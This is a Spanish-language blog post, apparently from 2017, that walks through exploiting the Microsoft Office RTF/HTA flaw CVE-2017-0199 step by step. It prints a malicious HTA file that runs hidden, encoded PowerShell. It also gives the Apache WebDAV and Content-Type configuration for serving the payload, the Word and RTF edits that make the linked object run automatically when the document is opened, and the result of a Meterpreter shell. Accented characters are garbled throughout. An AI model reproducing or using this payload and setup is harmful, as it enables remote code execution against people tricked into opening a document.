Sunday, September 24, 2017
Explotación práctica de CVE 2017 0199 Windows RTF RCE
Explotación práctica de CVE 2017 0199 Windows RTF RCE

Si record�is, la vulnerabilidad etiquetada como CVE-2017-0199 naci� como un 0-day que explotaba las �ltimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la Rep�blica de Donestk y que compromet�a el PC de la v�ctima con s�lo abrirlo (permit�a RCE). Luego se us� tambi�n para instalar malware como Latentbot y en campa�as del troyano bancario Dridex, aunque hasta ahora no hab�a mucho detalle del exploit.
Y digo hasta ahora porque en varios sitios est�n reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como dec�a al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones �hasta la cocina�.
Uno de los m�s "did�cticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:
- Modificar el c�digo fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar autom�ticamente el objeto OLE
Ech�mosle un vistazo a c�mo llevarlo a cabo paso a paso:
Paso 1
Prepara un archivo HTA: (el archivo HTA es una aplicaci�n HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html >
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour
</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then
owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
End If
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</hta:application>
</head>
<div>
<object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">
</object>
</div>
<body>
</body>
</html>Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase �This is my official and legit content�)
Ll�malo "ms.rtf"
Paso 3
Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html
Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart Luego las siguientes directivas:
- A�adir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petici�n PROPFIND realizada por Microsoft Office
Modifica virtualhost e incluye:
<Directory /var/www/html/ms/>
Header set Content-Type "application/rtf"
</Directory>
<Directory />
Dav on
</Directory>
service apache2 restartPaso 4
Crea un simple documento RTF con Winword "exploit.rtf" �Ese ser� el exploit!
Insertar -> Objeto

Despu�s de hacer clic en Aceptar, ver�s el contenido del archivo "ms.rtf" con el texto,
Guarda el archivo como "exploit.rtf"

En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...
Paso 5
El siguiente paso ser�:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviar� un tipo de contenido "application/hta" ... esto ser� interpretado por el cliente Winword que ejecutar� mshta para manejar este tipo de contenido y ejecutar el payload
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default
Cambia -> application/rtf a application/hta
como:
<Directory /var/www/html/ms/>
Header set Content-Type "application/hta"
</Directory>
service apache2 restart Paso 6
En este paso, si el usuario abre el archivo "exploit.rtf", tendr� que hacer doble clic en el objeto del enlace para lanzar el ataque ...
Si queremos que el objeto OLE se cargue autom�ticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:
objectobjautlink sltpictobjw9073objh509(*
aobjectobjautlinkobjupdate sltpict��������..
Explotaci�n:
Una vez que el usuario abre el documento el objeto OLE se actualiza a trav�s del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el c�digo!
Ya tenemos Meterpreter

No nos importa la advertencia ya que el c�digo ya se ha ejecutado ...

Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
download file now